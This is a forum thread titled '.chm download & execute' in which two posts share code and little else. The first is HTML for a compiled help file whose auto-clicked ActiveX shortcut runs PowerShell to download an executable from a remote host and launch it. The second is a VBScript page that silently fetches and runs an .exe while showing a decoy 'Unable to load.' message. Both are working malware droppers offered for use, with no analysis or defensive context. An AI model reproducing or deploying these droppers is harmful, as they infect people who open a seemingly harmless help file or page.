Jump to content
geeko

.chm download & execute

Recommended Posts

Posted
<HTML>
<TITLE>support</TITLE>
<HEAD>
</HEAD>
<BODY>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/c powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.75/calc.exe','%TEMP%\calc.exe'); Start-Process '%TEMP%\calc.exe' ,">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
x.Click();
</SCRIPT>
<A name=contents>
<H2 align=center>support</H2>
<P></A>
<H3 ALIGN=CENTER>support</H3><P>
</BODY>

Posted

<html>

<body>

<script type="text/vbscript">

Function SimpleBinaryToString(Binary)

Dim I, S

For I = 1 To LenB(Binary)

S = S & Chr(AscB(MidB(Binary, I, 1)))

Next

SimpleBinaryToString = S

End Function

Sub dl(url, dst)

dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")

dim method: method = Chr(71) & Chr(69) & Chr(84)

xmlhttp.Open method, url, False

xmlhttp.Send

Dim i, objFile

Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )

objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))

objFile.Close()

set xmlhttp = nothing

set objFile = nothing

End Sub

dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"

dim url

url = "http:/www/Help.exe"

dl url, dst

CreateObject("WScript.Shell").Run dst

</script>

<p>Unable to load.</p>

</body>

</html>

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...